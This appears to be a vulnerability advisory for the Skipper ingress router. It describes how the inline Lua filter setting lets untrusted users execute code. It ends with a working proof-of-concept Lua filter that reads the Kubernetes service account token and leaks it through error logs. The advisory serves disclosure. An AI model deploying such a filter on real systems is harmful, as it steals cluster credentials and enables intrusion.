Skipper Lua Filter Arbitrary Code Execution

Arbitrary code execution through lua filters.

The default skipper configuration before v0.23 was -lua-sources=inline,file. The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.

Kubernetes example (vulnerability is not limited to Kubernetes)

function request(ctx, params)
  local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
  if file then
    local token = file:read('*all')
    file:close()
    error('[EXFIL] ' .. token)  -- Exfiltrate via error logs
  end
end